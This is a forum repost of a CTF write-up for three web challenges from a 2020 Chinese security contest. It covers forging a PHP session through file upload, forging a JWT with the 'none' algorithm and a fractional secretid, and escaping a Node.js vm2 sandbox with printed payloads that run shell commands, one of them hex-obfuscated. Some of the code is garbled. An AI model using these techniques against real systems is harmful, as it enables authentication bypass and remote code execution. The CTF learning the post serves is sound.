2020数字中国创新大赛-虎符网络安全赛道丨Web Writeup

金歌  金牌会员 | 2024-12-24 10:44:11 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 918|帖子 918|积分 2754

本文是i春秋论坛作家「OPLV1H」表哥参加2020数字中国创新大赛-虎符网络安全赛道线上初赛的赛后总结,关于Web的Writeup记录,感爱好的小伙伴快来学习吧。

1、hash_file — 是使用给定文件的内容生成哈希值,和文件名称无关。
2、jwt令牌布局和jwt_tools的使用。
3、nodejs沙箱溢出举行Getshell。
正 文
Web 1 BabyUpload
直接贴出源码
  1. <?php
  2. error_reporting(0);
  3. session_save_path("/var/babyctf/");
  4. session_start();
  5. require_once "/flag";
  6. highlight_file(__FILE__);
  7. if($_SESSION['username'] ==='admin')
  8. {
  9. $filename='/var/babyctf/success.txt';
  10. if(file_exists($filename)){
  11. ? ?? ???safe_delete($filename);
  12. ? ?? ???die($flag);
  13. }
  14. }
  15. else{
  16. $_SESSION['username'] ='guest';
  17. }
  18. $direction = filter_input(INPUT_POST, 'direction');
  19. $attr = filter_input(INPUT_POST, 'attr');
  20. $dir_path = "/var/babyctf/".$attr;
  21. if($attr==="private"){
  22. $dir_path .= "/".$_SESSION['username'];
  23. }
  24. if($direction === "upload"){
  25. try{
  26. ? ? if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
  27. ? ?? ???throw new RuntimeException('invalid upload');
  28. ? ? }
  29. ? ? $file_path = $dir_path."/".$_FILES['up_file']['name'];
  30. ? ? $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
  31. ? ? if(preg_match('/(../|..\\)/', $file_path)){
  32. ? ?? ???throw new RuntimeException('invalid file path');
  33. ? ? }
  34. ? ? @mkdir($dir_path, 0700, TRUE);
  35. ? ? if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
  36. ? ?? ???$upload_result = "uploaded";
  37. ? ? }else{
  38. ? ?? ???throw new RuntimeException('error while saving');
  39. ? ? }
  40. } catch (RuntimeException $e) {
  41. ? ? $upload_result = $e->getMessage();
  42. }
  43. } elseif ($direction === "download") {
  44. try{
  45. ? ? $filename = basename(filter_input(INPUT_POST, 'filename'));
  46. ? ? $file_path = $dir_path."/".$filename;
  47. ? ? if(preg_match('/(../|..\\)/', $file_path)){
  48. ? ?? ???throw new RuntimeException('invalid file path');
  49. ? ? }
  50. ? ? if(!file_exists($file_path)) {
  51. ? ?? ???throw new RuntimeException('file not exist');
  52. ? ? }
  53. ? ? header('Content-Type: application/force-download');
  54. ? ? header('Content-Length: '.filesize($file_path));? ? header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
  55. ? ? if(readfile($file_path)){
  56. ? ?? ???$download_result = "downloaded";
  57. ? ? }else{
  58. ? ?? ???throw new RuntimeException('error while saving');
  59. ? ? }
  60. } catch (Run![](https://xzfile.aliyuncs.com/media/upload/picture/20200422224456-d5ccdef2-84a7-1.png)timeException $e) {
  61. ? ? $download_result = $e->getMessage();
  62. }
  63. exit;
  64. }
  65. ?>
复制代码
标题大概的逻辑就是先将session存储在/var/babyctf/中,如果session[‘username’]===‘admin’,并且file_exists(‘/var/babyctf/success.txt’)存在,则会显出flag了,注意这里是file_exist函数。
等于说是检查有没有这个路径或者文件,这里为背面做了铺垫。接下来就是提供了上传和下载两个功能,这里存在一处暗示性的代码:
  1. $file_path = $dir_path."/".$_FILES['up_file']['name'];
  2. $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
复制代码
因为我们知道,session默认的存储名称为sess_XXXXX(为PHPSESSID的值),那么我们先联合download来看一下自己的session,因为服务器端存储的session内容以合格式我们并不知道,检察一下自己的PHPSESSID对应的session。

这里session内容的格式具有一定的迷惑性,检察hex发现前面还藏了个0x08的不可见字符,我们如果想要构造时也须要修改第一个字符为不可见的0x08,有下载也有上传,而且须要session[‘username’]===admin,因此我们应该须要构造并且上传一个session,并且知道其对应的PHPSSEID,再回到暗示性代码上:
文件路径为/var/babyctf/filename_xxxxxx(此处我们知道上传的内容,因此这部分可控)因此我们如果将filename设为sess,那不就直接成为session文件了吗,再利用得到的xxxxx替换原来的PHPSESSID,如许就能die出flag了。
步骤一:构造sess文件
sess文件的内容直接将guest改为admin即可,但注意须要用winhex将第一个字符改成0x08。

步骤二:构造上传表单,并且设置direction为uplaod,attr置空即可。

  1. <html>
  2. <head>
  3. ? ? <title></title>
  4. </head>
  5. <body>
  6. ? ? <form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
  7. ? ?? ???<input type="text" name="attr" />
  8. ? ?? ???<br>
  9. ? ?? ???<input type="text" name="direction" />
  10. ? ?? ???<br>
  11. ? ?? ???<input type="file" name="upload_file" />
  12. ? ?? ???<br>
  13. ? ?? ???<input type="submit" />
  14. </body>
  15. </html>
复制代码
将sess上传:

我们可以根据上述download一样,检察一下是否已经乐成上传了sess_xxxx文件。
步骤三:根据hash_file构造的文件(即PHPSESSID值)举行替换原来的PHPSESSID得到flag。

Web 2 EasyLogin
直接给登录框了,首先举行万能密码和扫描目录的尝试,没有收获,接下来F12检察源代码,发现/static/js/app.js,果然存在,贴下源码:
  1. const Koa = require('koa');
  2. const bodyParser = require('koa-bodyparser');
  3. const session = require('koa-session');
  4. const static = require('koa-static');
  5. const views = require('koa-views');
  6. const crypto = require('crypto');
  7. const { resolve } = require('path');
  8. const rest = require('./rest');
  9. const controller = require('./controller');
  10. const PORT = 3000;
  11. const app = new Koa();
  12. app.keys = [crypto.randomBytes(16).toString('hex')];
  13. global.secrets = [];
  14. app.use(static(resolve(__dirname, '.')));
  15. app.use(views(resolve(__dirname, './views'), {
  16. ??extension: 'pug'
  17. }));
  18. app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
  19. // parse request body:
  20. app.use(bodyParser());
  21. // prepare restful service
  22. app.use(rest.restify());
  23. // add controllers:
  24. app.use(controller());
  25. app.listen(PORT);
  26. console.log(`app started at port ${PORT}...`);
复制代码
可知还存在rest.js和controller.js,看这两个又能发现/controllers/api.js,贴一下关键的代码:
  1. const crypto = require('crypto');
  2. const fs = require('fs')
  3. const jwt = require('jsonwebtoken')
  4. const APIError = require('../rest').APIError;
  5. module.exports = {
  6. ? ? 'POST /api/register': async (ctx, next) => {
  7. ? ?? ???const {username, password} = ctx.request.body;
  8. ? ?? ???if(!username || username === 'admin'){
  9. ? ?? ?? ?? ?throw new APIError('register error', 'wrong username');
  10. ? ?? ???}
  11. ? ?? ???if(global.secrets.length > 100000) {
  12. ? ?? ?? ?? ?global.secrets = [];
  13. ? ?? ???}
  14. ? ?? ???const secret = crypto.randomBytes(18).toString('hex');
  15. ? ?? ???const secretid = global.secrets.length;
  16. ? ?? ???global.secrets.push(secret)
  17. ? ?? ???const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
  18. ? ?? ???ctx.rest({
  19. ? ?? ?? ?? ?token: token
  20. ? ?? ???});
  21. ? ?? ???await next();
  22. ? ? },
  23. ? ? 'POST /api/login': async (ctx, next) => {
  24. ? ?? ???const {username, password} = ctx.request.body;
  25. ? ?? ???if(!username || !password) {
  26. ? ?? ?? ?? ?throw new APIError('login error', 'username or password is necessary');
  27. ? ?? ???}
  28. ? ?? ???const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
  29. ? ?? ???const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
  30. ? ?? ???console.log(sid)
  31. ? ?? ???if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
  32. ? ?? ?? ?? ?throw new APIError('login error', 'no such secret id');
  33. ? ?? ???}
  34. ? ?? ???const secret = global.secrets[sid];
  35. ? ?? ???const user = jwt.verify(token, secret, {algorithm: 'HS256'});
  36. ? ?? ???const status = username === user.username && password === user.password;
  37. ? ?? ???if(status) {
  38. ? ?? ?? ?? ?ctx.session.username = username;
  39. ? ?? ???}
  40. ? ?? ???ctx.rest({
  41. ? ?? ?? ?? ?status
  42. ? ?? ???});
  43. ? ?? ???await next();
  44. ? ? },
  45. ? ? 'GET /api/flag': async (ctx, next) => {
  46. ? ?? ???if(ctx.session.username !== 'admin'){
  47. ? ?? ?? ?? ?throw new APIError('permission error', 'permission denied');
  48. ? ?? ???}
  49. ? ?? ???const flag = fs.readFileSync('/flag').toString();
  50. ? ?? ???ctx.rest({
  51. ? ?? ?? ?? ?flag
  52. ? ?? ???});
  53. ? ?? ???await next();
  54. ? ? },
复制代码
这就涉及到知识盲区了,后来复现发现是jwt的相关知识,在这里整理一下:
JSON Web令牌以紧凑的形式由三部分构成,这些部分由点(.)分隔,分别是:


  • 头部(Header)
  • 有效载荷(Payload)
  • 签名(Signature)
因此,JWT通常形式是xxxxx.yyyyy.zzzzz。
头部(Header)
头部用于形貌关于该JWT的最基本的信息,通常由两部分构成:令牌的类型(即JWT)和所使用的签名算法。
例如:
  1. {"alg": "HS256","typ": "JWT"}
复制代码
然后,此JSON被Base64Url编码以形成JWT的第一部分。
有效载荷(Payload)
令牌的第二部分是载荷,放置了 token 的一些基本信息,以资助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息,用户信息互换。
载荷示例可能是:
  1. {"sub": "1234567890","name": "John Doe","admin": true}
复制代码
然后,对载荷举行Base64Url编码,以形成JSON Web令牌的第二部分。
签名(Signature)
要创建签名部分,您必须获取编码的头部,编码的有效载荷,密钥,头部中指定的算法,并对其举行签名。
例如,如果要使用HMAC SHA256算法,则将通过以下方式创建签名:
  1. HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
复制代码
签名用于验证消息在整个过程中没有更改,并且对于使用私钥举行签名的令牌,它还可以验证JWT的发送者是它所说的真实身份。
但是在这里却存在个问题,const secret = global.secrets[sid];这里通过全局变量设置了一个secret并作为密钥举行签名,而签名算法保证了JWT在传输的过程中不被恶意用户修改但是header中的alg字段可被修改为none,一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会举行签名校验。
但是签名不是我们能够直接控制的,但是sid我们是可以控制的,如果在这里我们将sid设置为0.1,可以乐成满意条件并绕过,使得secret是不存在的,也就是null。这里就能直接使用jwt_tools举行生成。
而我们知道有关jwt token的攻击方法实在分为三种:
1、将签名算法改为none
2、将RS256算法改为HS256(非对称密码算法=>对称密码算法)


  • HS256算法使用密钥为所有消息举行签名和验证。
  • 而RS256算法则使用私钥对消息举行签名并使用公钥举行身份验证。
  • 如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
  • 由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据举行签名。
3、破解HS256(对称加密算法)密钥
这里说明一下jwt-tools的用法
破解密钥(HMAC算法)
  1. python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
复制代码
尝试使用“无”算法来创建未验证的令牌:
  1. python3 jwt_tool.py JWT_HERE -A
复制代码
我们可以交互方式窜改标头,有效负载和签名:
  1. $python3 jwt_tool.py JWT_HERE(jwt token) -T
复制代码

得到jwt
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0

只须要修改有效负载,然后最后将标头alg设为none,就会得到窜改后的jwt token,此时服务器也不会使用签名校验,如许就乐成伪造admin,就能调用api/getflag( ),得到flag。
Web 3 JustEscape
这个题移花接木,得到run.php后告诉你:
  1. <?php
  2. if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
  3. ? ? $code = $_GET['code'];
  4. ? ? echo eval(code);
  5. } else {
  6. ? ? highlight_file(__FILE__);
  7. }
  8. ?>
复制代码
随便输个函数却给我返回SyntaxError,欺负我没学过JS。不外联合前文提示,确实不是PHP,而是nodejs写的,这就涉及到知识盲区了,没错满是知识盲区。复现后才知道,原来nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道题和这个题雷同。
解法1
这里我们须要知道加载的模块,根据google hack学到的,code=Error( ).stack

简直是设置了vm的模块,直接去github上找vm2有的issues,然后试试。找到了几个,payload一打已往,全给我搞出键盘,类比python沙箱逃逸,应该也是ban了一些函数,和其他大佬讨论发现既然是禁函数,那如果我code设置为数组,不是就可以绕过禁函数了吗?
接下来直接开找,issues上是breakout的应该都是能逃逸的payload,结果发现:

说是非法return,那就删掉return试试,发现能够乐成逃逸,实现RCE。最后flag在根目录下,直接读取即可。
payload:code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor(“return process”)();}}));}catch(e){ e(()=>{}).mainModule.require(“child_process”).execSync(“cat /flag”).toString();}
解法2
类比python的沙箱逃逸,如果一些进制转换的函数没有被禁止,我们应该是可以通过一些拼接来得到一些下令,还是能够绕过实行RCE。这里学习了其他大佬的解法,发现可以通过十六进制编码来举行关键字绕过:
即将一些关键字来举行16进制编码:(vm2仓库下的issues内里将关键字编码成16进制)
payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()
注:文章素材来源于i春秋社区, 以上是个人关于本次角逐的一些解题思路,欢迎交换增补。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

金歌

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表